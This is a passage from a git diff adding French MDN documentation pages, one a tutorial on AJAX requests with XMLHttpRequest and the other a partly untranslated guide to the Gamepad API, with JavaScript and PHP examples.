+<p>Pour faire une requête <a href="/HTTP">HTTP</a> vers le serveur à l’aide de JavaScript, il faut disposer d’une instance d’objet fournissant cette fonctionnalité. C’est ici que <code>XMLHttpRequest</code> intervient. Son prédécesseur est originaire de Internet Explorer sous la forme d’un objet ActiveX appelé <code>XMLHTTP</code>. Par la suite, Mozilla, Safari et d’autres navigateurs ont suivi en implémentant un objet <code>XMLHttpRequest</code> qui fournit les mêmes méthodes et propriétés que l’objet ActiveX original de Microsoft. Entre temps, Microsoft a également implémenté XMLHttpRequest.</p>
+
+<pre class="brush: js">// ancien code de compatibilité, aujourd’hui inutile
+if (window.XMLHttpRequest) { // Mozilla, Safari, IE7+...
+    httpRequest = new XMLHttpRequest();
+}
+else if (window.ActiveXObject) { // IE 6 et antérieurs
+    httpRequest = new ActiveXObject("Microsoft.XMLHTTP");
+}</pre>
+
+<div class="blockIndicator note">
+<p><strong>Note :</strong> Pour illustrer le principe, le code ci-dessus est une version un peu simplifiée de celui qui est utilisé pour créer une instance XMLHTTP. Pour un exemple plus réaliste, voir l’étape 3 de cet article.</p>
+</div>
+
+<p>Après avoir fait une requête, vous recevrez une réponse du serveur. À ce stade, vous devez indiquer à l’objet <code>httpRequest</code> le nom de la fonction JavaScript qui traitera la réponse. Pour cela, assignez à la propriété <code>onreadystatechange</code> de l’objet le nom de la fonction JavaScript que vous envisagez d’utiliser, comme ceci :</p>
+
+<pre class="brush: js">httpRequest.onreadystatechange = nomDeLaFonction;</pre>
+
+<p>Notez qu’il n’y a ni parenthèses ni paramètres après le nom de la fonction, car vous ne faites qu’assigner une référence à la fonction sans l’appeler réellement. Alternativement, au lieu de donner un nom de fonction, vous pouvez utiliser la technique JavaScript de définition de fonctions à la volée (ce qu’on appelle une fonction anonyme), et définir à cet endroit les actions à effectuer sur la réponse, comme ceci :</p>
+
+<pre class="brush: js">httpRequest.onreadystatechange = function() {
+    // instructions de traitement de la réponse
+};
+</pre>
+
+<p>Ensuite, après avoir déclaré ce qui se produit lorsque la réponse est reçue, il s’agit de lancer effectivement la requête. Il faut pour cela appeler les méthodes <code>open()</code> et <code>send()</code> de l’objet <code>httpRequest</code>, comme ceci :</p>
+
+<pre class="brush: js">httpRequest.open('GET', 'http://www.example.org/some.file', true);
+httpRequest.send();</pre>
+
+<ul>
+ <li>Le premier paramètre de l’appel à <code>open()</code> est la méthode de requête HTTP — GET, POST, HEAD ou toute autre méthode gérée par votre serveur. Laissez le nom de la méthode en majuscules comme spécifié par la norme HTTP ; autrement certains navigateurs (comme Firefox) peuvent ne pas traiter la requête. Pour plus d’informations sur les méthodes de requêtes HTTP possibles, vous pouvez consulter les <a class="external" href="http://www.w3.org/Protocols/rfc2616/rfc2616-sec9.html">spécifications du W3C</a>.</li>
+ <li>Le second paramètre est l’URL à laquelle vous envoyez la requête. Pour des raisons de sécurité, il est par défaut impossible d’appeler des URL se situant sur un domaine de tierce-partie. Veillez à utiliser le nom de domaine exact sur toutes vos pages ou vous obtiendrez une erreur « permission refusée » lors de l’appel à <code>open()</code>. Une erreur courante est de charger le site via <code>domaine.tld</code>, mais d’essayer d’appeler des pages avec <code>www.domain.tld</code>. Si vous avez réellement besoin d’envoyer une requête vers un autre domaine, veuillez consulter <a href="/fr/docs/Web/HTTP/CORS">Cross-Origin Resource Sharing (CORS)</a>.</li>
+ <li>Le troisième paramètre, optionnel, précise si la requête est asynchrone. Si mis à <code>true</code> (sa valeur par défaut), l’exécution de JavaScript se poursuivra, et l’utilisateur ou l’utilisatrice pourra interagir avec la page, en attendant l’arrivée de la réponse du serveur. C’est le premier « A » de « AJAX ».</li>
+</ul>
+
+<p>Le paramètre de la méthode <code>send()</code> peut être n’importe quelle donnée que vous voulez envoyer au serveur en cas d’utilisation de la méthode POST. Les données doivent être sous la forme d’une chaîne de requête, comme :</p>
+
+<pre class="brush: js">"nom=valeur&amp;autrenom="+encodeURIComponent(autrevaleur)+"&amp;ainsi=desuite"</pre>
+
+<p>Ou d’autres formats tels que <code>multipart/form-data</code>, JSON, XML, etc.</p>
+
+<p>Notez que si vous voulez envoyer des données avec la méthode POST, vous aurez peut-être à changer le type MIME de la requête. Par exemple, utilisez ce qui suit avant d’appeler <code>send()</code> pour envoyer des données de formulaire en tant que chaîne de requête :</p>
+
+<pre class="brush: js">httpRequest.setRequestHeader('Content-Type', 'application/x-www-form-urlencoded');
+</pre>
+
+<h3 id=".C3.89tape_2_.E2.80.94_Gestion_de_la_r.C3.A9ponse_du_serveur" name=".C3.89tape_2_.E2.80.94_Gestion_de_la_r.C3.A9ponse_du_serveur">Étape 2 — Gestion de la réponse du serveur</h3>
+
+<p>Lors de l’envoi de la requête, vous avez désigné une fonction JavaScript pour traiter la réponse.</p>
+
+<pre class="brush: js"><code>httpRequest.onreadystatechange = nomDeLaFonction;</code></pre>
+
+<p>Voyons maintenant ce que cette fonction doit faire. Tout d’abord, elle doit vérifier l’état de la requête. Si cet état a la valeur de <code>XMLHttpRequest.DONE</code> (ce qui correspond à 4), cela signifie que la réponse du serveur a été reçue dans son intégralité et qu’elle peut maintenant être traitée.</p>
+
+<pre class="brush: js">if (httpRequest.readyState === XMLHttpRequest.DONE) {
+    // tout va bien, la réponse a été reçue
+} else {
+    // pas encore prête
+}</pre>
+
+<p>La liste complète des valeurs de <code>readyState</code> est documentée sur <a href="https://developer.mozilla.org/en-US/docs/Web/API/XMLHttpRequest#Properties">XMLHttpRequest.readyState</a> et se résume de cette façon :</p>
+
+<ul>
+ <li>0 (non initialisée) ou (requête non initialisée)</li>
+ <li>1 (en cours de chargement) ou (connexion établie avec le serveur)</li>
+ <li>2 (chargée) ou (requête reçue)</li>
+ <li>3 (en cours d’interaction) ou (requête en cours de traitement)</li>
+ <li>4 (terminée) ou (requête terminée et réponse prête)</li>
+</ul>
+
+<p>Ensuite, vérifiez le <a href="/fr/docs/Web/HTTP/Status">code de statut HTTP</a> de la réponse du serveur. Tous les codes possibles sont listés sur le <a class="external" href="http://www.w3.org/Protocols/rfc2616/rfc2616-sec10.html">site du W3C</a>. Dans l’exemple qui suit, nous différencions un appel réussi ou échoué en vérifiant la réception d’un code <code><a href="/fr/docs/Web/HTTP/Status#R%C3%A9ponses_de_succ%C3%A8s">200 OK</a></code>.</p>
+
+<pre class="brush: js">if (httpRequest.status === 200) {
+    // parfait !
+} else {
+    // il y a eu un problème avec la requête,
+    // par exemple la réponse peut être un code 404 (Non trouvée)
+    // ou 500 (Erreur interne au serveur)
+}
+</pre>
+
+<p>Après avoir vérifié l’état de la requête et le code de statut HTTP de la réponse, vous pouvez traiter à votre guise les données envoyées par le serveur. Il existe deux manières d’accéder à ces données :</p>
+
+<ul>
+ <li><code>httpRequest.responseText</code> — renvoie la réponse du serveur sous la forme d’une chaîne de texte ;</li>
+ <li><code>httpRequest.responseXML</code> — renvoie la réponse sous la forme d’un objet <code>XMLDocument</code> que vous pouvez parcourir à l’aide des fonctions DOM de JavaScript.</li>
+</ul>
+
+<p>Notez que les étapes ci-dessus sont valides uniquement si vous utilisez une requête asynchrone (Le 3e paramètre d’<code>open()</code> n’a pas été spécifié, ou a été défini à <code>true</code>). Si vous utilisez une requête <strong>synchrone,</strong> vous n’avez pas besoin de spécifier une fonction, mais c’est fortement découragé car cela entraîne une mauvaise expérience utilisateur.</p>
+
+<h3 id=".C3.89tape_3_.E2.80.94_Un_exemple_simple" name=".C3.89tape_3_.E2.80.94_Un_exemple_simple">Étape 3 — Un exemple simple</h3>
+
+<p>Rassemblons tous ces éléments dans un exemple : une requête HTTP simple. Notre JavaScript demande un document HTML, <code>test.html</code>, qui contient le texte « Je suis un test. », puis nous affichons le contenu de la réponse dans un message <code>alert()</code>. Remarquez que cet exemple n’utilise que du pur JavaScript vanilla (pas de jQuery). D’autre part, les fichiers HTML, XML et PHP doivent être placés dans le même dossier.</p>
+
+<pre class="brush: html">&lt;button id="ajaxButton" type="button"&gt;Faire une requête&lt;/button&gt;
+
+&lt;script&gt;
+(function() {
+  var httpRequest;
+  document.getElementById("ajaxButton").addEventListener('click', makeRequest);
+
+  function makeRequest() {
+    httpRequest = new XMLHttpRequest();
+
+    if (!httpRequest) {
+      alert('Abandon :( Impossible de créer une instance de XMLHTTP');
+      return false;
+    }
+    httpRequest.onreadystatechange = alertContents;
+    httpRequest.open('GET', 'test.html');
+    httpRequest.send();
+  }
+
+  function alertContents() {
+    if (httpRequest.readyState === XMLHttpRequest.DONE) {
+      if (httpRequest.status === 200) {
+        alert(httpRequest.responseText);
+      } else {
+        alert('Il y a eu un problème avec la requête.');
+      }
+    }
+  }
+})();
+&lt;/script&gt;</pre>
+
+<p>Dans cet exemple :</p>
+
+<ul>
+ <li>L’utilisateur ou l’utilisatrice clique sur le bouton « Faire une requête » ;</li>
+ <li>Le gestionnaire d’évènement appelle la fonction <code>makeRequest()</code> ;</li>
+ <li>la requête est faite, puis l’exécution est passée à <code>alertContents()</code> (via <code>onreadystatechange</code>);</li>
+ <li><code>alertContents()</code> vérifie si la réponse reçue est correcte, et affiche ensuite le contenu du fichier <code>test.html</code> dans un message <code>alert()</code>.</li>
+</ul>
+
+<div class="blockIndicator note">
+<p><strong>Note :</strong> Si vous envoyez une requête à du code qui renvoie du XML plutôt qu’un fichier HTML statique, vous devez spécifier des en-têtes de réponse pour que cela fonctionne avec Internet Explorer. Si vous ne spécifiez pas l’en-tête <code>Content-Type: application/xml</code>, IE émettra une erreur JavaScript « Objet attendu » après la ligne à laquelle vous avez tenté d’accéder à l’élément XML.</p>
+</div>
+
+<div class="blockIndicator note">
+<p><strong>Note 2 :</strong> Si vous ne spécifiez pas l’en-tête <code>Cache-Control: no-cache</code>, le navigateur mettra la réponse en cache et n’effectuera plus jamais la requête ultérieurement, ce qui peut rendre le débogage difficile. Vous pouvez également ajouter un paramètre GET toujours différent, comme un timestamp ou un nombre aléatoire (voir <a href="https://developer.mozilla.org/fr/docs/Web/API/XMLHttpRequest/Utiliser_XMLHttpRequest#Contourner_le_cache">contourner le cache</a>).</p>
+</div>
+
+<div class="blockIndicator note">
+<p><strong>Note 3 :</strong> Si la variable <code>httpRequest</code> est utilisée globalement, des appels concurrents à <code>makeRequest()</code> peuvent s’écraser l’un l’autre, provoquant une situation de compétition <em>(race condition</em>). On peut s’en prémunir en déclarant la variable <code>httpRequest</code> locale à une <a href="/fr/docs/Web/JavaScript/Closures">closure</a> contenant les fonctions AJAX.</p>
+</div>
+
+<p>Si une erreur de communication se produit (par exemple le serveur qui cesse de répondre), une exception sera levée dans la méthode <code>onreadystatechange</code> lors de l’accès à la propriété <code>status</code>. Pour atténuer ce problème, vous pouvez entourer votre bloc <code>if...then</code> dans un <code>try...catch</code> :</p>
+
+<pre class="brush: js">function alertContents(httpRequest) {
+  try {
+    if (httpRequest.readyState === XMLHttpRequest.DONE) {
+      if (httpRequest.status === 200) {
+        alert(httpRequest.responseText);
+      } else {
+        alert("Un problème est survenu au cours de la requête.");
+      }
+    }
+  }
+  catch( e ) {
+    alert("Une exception s’est produite : " + e.description);
+  }
+}</pre>
+
+<h3 id=".C3.89tape_4_.E2.80.94_Travailler_avec_des_r.C3.A9ponses_XML" name=".C3.89tape_4_.E2.80.94_Travailler_avec_des_r.C3.A9ponses_XML">Étape 4 — Travailler avec des réponses XML</h3>
+
+<p class="brush: xml">Dans l’exemple précédent, après avoir reçu la réponse à la requête HTTP, nous avons utilisé la propriété <code>responseText</code> de l’objet, qui contenait le contenu du fichier <code>test.html</code>. Essayons maintenant la propriété <code>responseXML</code>.</p>
+
+<p>Tout d’abord, créons un document XML valide qui sera l’objet de la requête. Le document (<code>test.xml</code>) contient ce qui suit :</p>
+
+<pre class="brush: xml">&lt;?xml version="1.0" ?&gt;
+&lt;root&gt;
+    Je suis un test.
+&lt;/root&gt;
+</pre>
+
+<p>Dans le script, il est seulement nécessaire de remplacer la ligne de requête par :</p>
+
+<pre class="brush: html">...
+onclick="makeRequest('test.xml')"&gt;
+...
+</pre>
+
+<p>Ensuite, dans <code>alertContents()</code>, il faut remplacer la ligne <code>alert(httpRequest.responseText);</code> par :</p>
+
+<pre class="brush: js">var xmldoc = httpRequest.responseXML;
+var root_node = xmldoc.getElementsByTagName('root').item(0);
+alert(root_node.firstChild.data);
+</pre>
+
+<p>Ce code prend l’objet <code>XMLDocument</code> donné par <code>responseXML</code> et utilise les méthodes du DOM pour accéder à des données contenues dans le document XML.</p>
+
+<p><span class="comment">Catégories</span></p>
+
+<p><span class="comment">Interwiki</span></p>
+
+<h3 id="Étape_5_–_Manipuler_les_données">Étape 5 – Manipuler les données</h3>
+
+<p>Pour finir, envoyons quelques données au serveur et réceptionnons la réponse. Notre JavaScript demandera cette fois-ci une page dynamique, <code>test.php</code>, qui prendra notre contenu envoyé et revera une chaîne « calculée » – "Bonjour, [user data] !" – que nous afficherons via <code>alert()</code>.</p>
+
+<p>D’abord, nous allons ajouter un boîte de texte dans notre HTML afin que l’utilisateur ou l’utilisatrice puisse saisir son nom :</p>
+
+<pre class="brush: html">&lt;label&gt;Vore nom :
+  &lt;input type="text" id="ajaxTextbox" /&gt;
+&lt;/label&gt;
+&lt;span id="ajaxButton" style="cursor: pointer; text-decoration: underline"&gt;
+  Lancer une requête
+&lt;/span&gt;</pre>
+
+<p>Nous allons également ajouter une ligne à notre gestionnaire d’événement pour obtenir les données de la boite de texte et les envoyer à la fonction <code>makeRequest()</code>, ainsi que l’URL de notre script côté serveur :</p>
+
+<pre class="brush: js">  document.getElementById("ajaxButton").onclick = function() {
+      var userName = document.getElementById("ajaxTextbox").value;
+      makeRequest('test.php', userName);
+  };</pre>
+
+<p>Nous devons modifier <code>makeRequest()</code> afin d’accepter les données et les transmettre au serveur. Nous changerons la méthode de GET à POST et inclurons nos données en paramètres dans l’appel à <code>httpRequest.send()</code> :</p>
+
+<pre class="brush: js">  function makeRequest(url, userName) {
+
+    ...
+
+    httpRequest.onreadystatechange = alertContents;
+    httpRequest.open('POST', url);
+    httpRequest.setRequestHeader('Content-Type', 'application/x-www-form-urlencoded');
+    httpRequest.send('userName=' + encodeURIComponent(userName));
+  }</pre>
+
+<p>La fonction <code>alertContents()</code> peut être écrite de la même manière qu’à l’étape 3 pour afficher notre chaîne calculée, si c’est tout ce que le serveur renvoie. Cependant, supposons que le serveur renvoie à la fois la phrase calculée et la donnée originale. Donc si l’utilisateur ou l’utilisatrice a saisi « Dorothée », la réponse du serveur ressemblera à :</p>
+
+<pre class="brush: json">{"userData":"Dorothée","computedString":"Bonjour, Dorothée !"}</pre>
+
+<p>Pour utiliser cette phrase dans <code>alertContents()</code>, nous ne pouvons pas simplement afficher une alerte avec le contenu de <code>responseText</code>, nous devons l’analyser et afficher <code>computedString</code>, la propriété que nous souhaitons :</p>
+
+<pre class="brush: js">function alertContents() {
+  if (httpRequest.readyState === XMLHttpRequest.DONE) {
+    if (httpRequest.status === 200) {
+      var response = JSON.parse(httpRequest.responseText);
+      alert(response.computedString);
+    } else {
+      alert('Un problème est survenu avec la requête.');
+    }
+  }
+}</pre>
+
+<p>Le fichier <code>test.php</code> devrait contenir ce qui suit :</p>
+
+<pre class="brush: php">$name = (isset($_POST['userName'])) ? $_POST['userName'] : 'anonyme';
+$computedString = 'Bonjour, ' . $name . ' !';
+$array = ['userName' =&gt; $name, 'computedString' =&gt; $computedString];
+echo json_encode($array);</pre>
+
+<p>Pour en savoir sur les méthodes DOM, pensez à lire la <a href="/fr/docs/Web/API/Document_Object_Model">Référence du DOM</a> de Mozilla.</p>
diff --git a/files/fr/web/guide/api/gamepad/index.html b/files/fr/web/guide/api/gamepad/index.html
new file mode 100644
index 0000000000..1cfa50fc2c
--- /dev/null
+++ b/files/fr/web/guide/api/gamepad/index.html
@@ -0,0 +1,281 @@
+---
+title: Utiliser l'API Gamepad
+slug: Web/Guide/API/Gamepad
+translation_of: Web/API/Gamepad_API/Using_the_Gamepad_API
+---
+<p>{{ SeeCompatTable() }}</p>
+<div class="summary">
+ <p><span class="seoSummary">HTML5 a introduit plusieurs des composants nécessaires pour le développement de jeux vidéos riches et interactifs. Des technologies comme <code>&lt;canvas&gt;</code>, WebGL, <code>&lt;audio&gt;</code>, et <code>&lt;video&gt;</code>, ainsi que les implémentations JavaScript, ont mûri au point de supporter plusieurs fonctions autrefois réservées aux applications natives.</span> L'API Gamepad est une manière pour les développeurs et <em><code>designers</code></em> d'accéder aux contrôleurs de jeux.</p>
+</div>
+<div class="note">
+ <p><strong>Note</strong><strong>:</strong> Dans Firefox 29 et plus, l'API Gamepad est activée par défaut, tout comme pour les versions Nightly et Aurora. Depuis Firefox 24, l'API Gamepad était déjà disponible derrière une option dans les préférences. Il est possible de l'activer dans ces versions en ouvrant <code>about:config</code> et en activant <code>dom.gamepad.enabled</code>.</p>
+</div>
+<p>L'API Gamepad introduit de nouveaux évènements à l'objet {{ domxref("Window") }} pour lire l'état des contrôleurs. En plus de ces événements, l'API ajoute aussi un objet {{ domxref("Gamepad") }} que vous pouvez utiliser pour récupérer l'état d'un contrôleur connecté, et une méthode {{ domxref("navigator.getGamepads") }} que vous pouvez utiliser pour obtenir la liste des contrôleurs connus par la page.</p>
+<h2 id="conntecting" name="conntecting">Connexion au contrôleur</h2>
+<p>Lorsqu'un nouveau contrôleur est connecté à l'ordinateur, la page active reçoit tout d'abord un événement {{ domxref("Window.gamepadconnected") }}. Si un contrôleur est déjà connecté lorsque la page termine de charger, l'événement {{ domxref("Window.gamepadconnected") }} est envoyé à la page active lorsque l'utilisateur appuie sur un bouton ou bouge un axe.</p>
+<div class="geckoVersionNote">
+ <p>Dans Firefox, les contrôleurs ne sont rendus visibles à une page que lorsque l'utilisateur s'en sert alors que cette page est active. Cela permet d'éviter que les contrôleurs soient utilisés pour identifier l'utilisateur. Dès lors qu'un contrôleur a été utilisé, les autres contrôleurs connectés seront rendus visibles automatiquement.</p>
+</div>
+<p>Vous pouvez utiliser {{ domxref("Window.gamepadconnected") }} ainsi :</p>
+<pre class="brush: js">window.addEventListener("gamepadconnected", function(e) {
+  console.log("Contrôleur n°%d connecté : %s. %d boutons, %d axes.",
+  e.gamepad.index, e.gamepad.id,
+  e.gamepad.buttons.length, e.gamepad.axes.length);
+});
+</pre>
+<p>Chaque contrôleur est associé à un identifiant unique, qui est disponible dans la propriété <code>gamepad</code> de l'événement.</p>
+<div class="note">
+ <p><strong>Note</strong>: À l'écriture de ces lignes, Chrome n'implémente pas les événements {{ domxref("Window.gamepadconnected") }} et {{ domxref("Window.gamepaddisconnected") }}. Vous devez utiliser {{ domxref("navigator.getGamepads") }} pour récupérer la liste des contrôleurs disponibles.</p>
+</div>
+<h2 id="disconnecting" name="disconnecting">Déconnexion du contrôleur</h2>
+<p>Lorsqu'un contrôleur est déconnecté, et si la page avait déjà reçu des données de ce contrôleur auparavant (par exemple par l'événement {{ domxref("Window.gamepadconnected") }}), un second événement est envoyé à la fenêtre active : <span style="line-height: 1.5;"> {{ domxref("Window.gamepaddisconnected") }}.</span></p>
+<pre class="brush: js">window.addEventListener("gamepaddisconnected", function(e) {
+  console.log("Contrôleur n°%d déconnecté : %s",
+  e.gamepad.index, e.gamepad.id);
+});</pre>
+<p>La propriété <code>index</code> sera unique à chaque périphérique connecté au système, même si plusieurs contrôleurs du même type sont utilisés. La propriété correspond également à l'indice du tableau retourné par<span style="line-height: 1.5;"> {{ domxref("navigator.getGamepads") }}.</span></p>
+<pre class="brush: js">var gamepads = {};
+
+function gamepadHandler(event, connecting) {
+  var gamepad = event.gamepad;
+  // Note :
+  // gamepad === navigator.getGamepads()[gamepad.index]
+
+  if (connecting) {
+    gamepads[gamepad.index] = gamepad;
+  } else {
+    delete gamepads[gamepad.index];
+  }
+}
+
+window.addEventListener("gamepadconnected", function(e) { gamepadHandler(e, true); }, false);
+window.addEventListener("gamepaddisconnected", function(e) { gamepadHandler(e, false); }, false);
+</pre>
+<p>Cet exemple montre également comment la propriété <code>gamepad</code> peut être conservée après que l'événement se soit terminé. Cette technique sera utilisée plus tard pour obtenir l'état du périphérique.</p>
+<div>
+ [PAGE NON TRADUITE DEPUIS ICI...]</div>
+<div>
+  </div>
+<h2 id="querying" name="querying">Querying the Gamepad object</h2>
+<p>As you can see, the <strong>gamepad</strong> events discussed above include a <code>gamepad</code> property on the event object, which returns a {{ domxref("Gamepad") }} object. We can use this in order to determine which gamepad (i.e., its ID) had caused the event, since multiple gamepads might be connected at once. We can do much more with the {{ domxref("Gamepad") }} object, including holding a reference to it and querying it to find out which buttons and axes are being pressed at any one time. Doing so is often desirable for games or other interactive web pages that need to know the state of a gamepad now vs. the next time an event fires.</p>
+<p>Performing such checks tends to involve using the {{ domxref("Gamepad") }} object in conjunction with an animation loop (e.g., {{ domxref("requestAnimationFrame") }}), where developers want to make decisions for the current frame based on the state of the gamepad or gamepads.</p>
+<div class="note">
+ <p><strong>Note</strong>: The Gamepad API also provides a function -- {{ domxref("Navigator.getGamepads") }}-- that returns a list of all devices currently visible to the webpage, an array of {{ domxref("Gamepad") }} objects. This can then be used to get the same information. For example, the first code example above you be rewritten as shown below:</p>
+</div>
+<pre class="brush: js">window.addEventListener("gamepadconnected", function(e) {
+  var gp = navigator.getGamepads()[e.gamepad.index];
+  console.log("Gamepad connected at index %d: %s. %d buttons, %d axes.",
+  gp.index, gp.id,
+  gp.buttons.length, gp.axes.length);
+});</pre>
+<p>The {{ domxref("Gamepad") }} object's properties are as follows:</p>
+<ul>
+ <li><code>id</code>: A string containing some information about the controller. This is not strictly specified, but in Firefox it will contain three pieces of information separated by dashes (<code>-</code>): two 4-digit hexadecimal strings containing the USB vendor and product id of the controller, and the name of the controller as provided by the driver. This information is intended to allow you to find a mapping for the controls on the device as well as display useful feedback to the user.</li>
+ <li><code>index</code>: An integer that is unique for each gamepad currently connected to the system. This can be used to distinguish multiple controllers. Note that disconnecting a device and then connecting a new device may reuse the previous index.</li>
+ <li><code>mapping</code>: A string indicating whether the browser has remapped the controls on the device to a known layout. Currently there is only one supported known layout–the <a href="https://dvcs.w3.org/hg/gamepad/raw-file/default/gamepad.html#remapping">standard gamepad</a>. If the browser is able to map controls on the device to that layout the <code>mapping</code> property will be set to the string <code>standard</code>.</li>
+ <li><code>connected</code>: A boolean indicating whether the gamepad is still connected to the system. If this is so the value is <code>True</code>; if not, it is <code>False</code>.</li>
+ <li><code>buttons</code>: An array of {{ domxref("GamepadButton") }} objects representing the buttons present on the device. Each {{ domxref("GamepadButton") }} has a <code>pressed</code> and a <code>value</code> property:
+  <ul>
+   <li>The <code>pressed</code> property is a boolean indicating whether the button is currently pressed (<code>true</code>) or unpressed (<code>false</code>).</li>
+   <li>The <code>value</code> property is a floating point value used to enable representing analog buttons, such as the triggers on many modern gamepads. The values are normalized to the range 0.0..1.0, with 0.0 representing a button that is not pressed, and 1.0 representing a button that is fully pressed.</li>
+  </ul>
+ </li>
+ <li><code>axes</code>: An array representing the controls with axes present on the device (e.g. analog thumb sticks). Each entry in the array is a floating point value in the range -1.0 - 1.0, representing the axis position from the lowest value (-1.0) to the highest value (1.0).</li>
+ <li><code>timestamp</code>: This returns a {{ domxref("DOMHighResTimeStamp") }} representing the last time the data for this gamepad was updated, allowing developers to determine if the <code>axes</code> and <code>button</code> data have been updated from the hardware. The value must be relative to the <code>navigationStart</code> attribute of the {{ domxref("PerformanceTiming") }} interface. Values are monotonically increasing, meaning that they can be compared to determine the ordering of updates, as newer values will always be greater than or equal to older values. Note that this property is not currently supported in Firefox.</li>
+</ul>
+<div class="note">
+ <p><strong>Note</strong>: The Gamepad object is available on the {{ domxref("Window.gamepadconnected") }} event rather than the {{ domxref("Window") }} object itself, for security reasons. Once we have a reference to it, we can query its properties for information about the current state of the gamepad. Behind the scenes, this object will be updated every time the gamepad's state changes.</p>
+</div>
+<h3 id="Using_button_information">Using button information</h3>
+<p>Let's look at a simple example that displays connection information for one gamepad (it ignores subsequent gamepad connections) and allows you to move a ball around the screen using the four gamepad buttons on the right hand side of the gamepad. You can <a href="http://chrisdavidmills.github.io/gamepad-buttons/">view the demo live</a>, and <a href="https://github.com/chrisdavidmills/gamepad-buttons/tree/master">find the source code</a> on Github.</p>
+<p>To start with, we declare some variables: The <code>gamepadInfo</code> paragraph that the connection info is written into, the <code>ball</code> that we want to move, the <code>start</code> variable that acts as the ID for <code>requestAnimation Frame</code>, the <code>a</code> and <code>b</code> variables that act as position modifiers for moving the ball, and the shorthand variables that will be used for the {{ domxref("requestAnimationFrame") }} and {{ domxref("cancelRequestAnimationFrame") }} cross browser forks.</p>
+<pre class="brush: js">var gamepadInfo = document.getElementById("gamepad-info");
+var ball = document.getElementById("ball");
+var start;
+var a = 0;
+var b = 0;
+
+var rAF = window.mozRequestAnimationFrame ||
+  window.webkitRequestAnimationFrame ||
+  window.requestAnimationFrame;
+
+var rAFStop = window.mozCancelRequestAnimationFrame ||
+  window.webkitCancelRequestAnimationFrame ||
+  window.cancelRequestAnimationFrame;</pre>
+<p>Next we use the {{ domxref("Window.gamepadconnected") }} event to check for a gamepad being connected. When one is connected, we grab the gamepad using {{ domxref("Navigator.getGamepads") }}<code>[0]</code>, print information about the gamepad into our gamepad info <code>div</code>, and fire the <code>gameLoop()</code> function that starts the whole ball movement process up.</p>
+<pre class="brush: js">window.addEventListener("gamepadconnected", function(e) {
+  var gp = navigator.getGamepads()[e.gamepad.index];
+  gamepadInfo.innerHTML = "Gamepad connected at index " + gp.index + ": " + gp.id + ". It has " + gp.buttons.length + " buttons and " + gp.axes.length + " axes.";
+
+  gameLoop();
+});</pre>
+<p>Now we use the {{ domxref("Window.gamepaddisconnected") }} event to check if the gamepad is disconnected again. If so, we stop the {{ domxref("requestAnimationFrame") }} loop (see below) and revert the gamepad information back to what it was originally.</p>
+<pre class="brush: js">window.addEventListener("gamepaddisconnected", function(e) {
+  gamepadInfo.innerHTML = "Waiting for gamepad.";
+
+  rAFStop(start);
+});</pre>
+<p>Chrome does things differently here. Instead of constantly storing the gamepad's latest state in a variable it only stores a snapshot, so to do the same thing in Chrome you have to keep polling it and then only use the {{ domxref("Gamepad") }} object in code when it is available. We have done this below using {{ domxref("Window.setInterval") }}; once the object is available the gamepad info is outputted, the game loop is started, and the interval is cleared using {{ domxref("Window.clearInterval") }}. Note that in older versions of Chrome {{ domxref("Navigator.getGamepads") }} is implemented with a <code>webkit</code> prefix. We attempt to detect and handle both the prefixed version and the standard version of the function for backwards-compatibility.</p>
+<pre class="brush: js">if(!('GamepadEvent' in window)) {
+  // No gamepad events available, poll instead.
+  var interval = setInterval(pollGamepads, 500);
+}
+
+function pollGamepads() {
+  var gamepads = navigator.getGamepads ? navigator.getGamepads() : (navigator.webkitGetGamepads ? navigator.webkitGetGamepads : []);
+  for (var i = 0; i &lt; gamepads.length; i++) {
+    var gp = gamepads[i];
+    if(gp) {
+      gamepadInfo.innerHTML = "Gamepad connected at index " + gp.index + ": " + gp.id + ". It has " + gp.buttons.length + " buttons and " + gp.axes.length + " axes.";
+      gameLoop();
+      clearInterval(interval);
+    }
+  }
+}</pre>
+<p>Now on to the main game loop. In each execution of the loop we check if one of four buttons is being pressed; if so, we update the values of the <code>a</code> and <code>b</code> movement variables appropriately, then update the {{ cssxref("left") }} and {{ cssxref("top") }} properties, changing their values to the current values of <code>a</code> and <code>b</code> respectively. This has the effect of moving the ball around the screen.  In current versions of Chrome (version 34 as of this writing) the button values are stored as an array of double values, instead of {{ domxref("GamepadButton") }} objects. This is fixed in development versions.</p>
+<p>After all this is done, we use our <code>rAF</code> variable to request the next animation frame, running <code>gameLoop()</code> again.</p>
+<pre class="brush: js">function buttonPressed(b) {
+<span class="k">  if</span> <span class="p">(</span><span class="k">typeof</span><span class="p">(</span><span class="nx">b</span><span class="p">)</span> <span class="o">==</span> <span class="s2">"object"</span><span class="p">)</span> <span class="p">{</span>
+<span class="nx">    return</span> <span class="nx">b</span><span class="p">.</span><span class="nx">pressed</span><span class="p">;</span>
+<span class="nx">  </span><span class="p">}</span>
+<span class="p">  return</span> <span class="nx">b</span> <span class="o">==</span> <span class="mf">1.0</span><span class="p">;</span>
+}
+
+function gameLoop() {
+  var gamepads = navigator.getGamepads ? navigator.getGamepads() : (navigator.webkitGetGamepads ? navigator.webkitGetGamepads : []);
+  if (!gamepads)
+    return;
+
+  var gp = gamepads[0];
+  if (buttonPressed(gp.buttons[0])) {
+    b--;
+  } else if (buttonPressed(gp.buttons[2])) {
+    b++;
+  }
+  if(buttonPressed(gp.buttons[1])) {
+    a++;
+  } else if(buttonPressed(gp.buttons[3])) {
+    a--;
+  }
+
+  ball.style.left = a*2 + "px";
+  ball.style.top = b*2 + "px";
+
+  var start = rAF(gameLoop);
+};</pre>
+<h3 id="Using_axes_information">Using axes information</h3>
+<p><strong>TBD (basically the same, except using axes[i] rather than button[i].value for both Firefox and Chrome.)</strong></p>
+<h2 id="Complete_example_Displaying_gamepad_state">Complete example: Displaying gamepad state</h2>
+<p>This example shows how to use the {{ domxref("Gamepad") }} object, as well as the {{ domxref("Window.gamepadconnected") }} and {{ domxref("Window.gamepaddisconnected") }} events in order to display the state of all gamepads connected to the system. You can find a <a href="http://luser.github.io/gamepadtest/">working demo</a> and look at the <a href="https://github.com/luser/gamepadtest">full source code</a> on Github.</p>
+<pre class="brush: js">var haveEvents = 'GamepadEvent' in window;
+var controllers = {};
+var rAF = window.mozRequestAnimationFrame ||
+  window.webkitRequestAnimationFrame ||
+  window.requestAnimationFrame;
+
+function connecthandler(e) {
+  addgamepad(e.gamepad);
+}
+function addgamepad(gamepad) {
+  controllers[gamepad.index] = gamepad; var d = document.createElement("div");
+  d.setAttribute("id", "controller" + gamepad.index);
+  var t = document.createElement("h1");
+  t.appendChild(document.createTextNode("gamepad: " + gamepad.id));
+  d.appendChild(t);
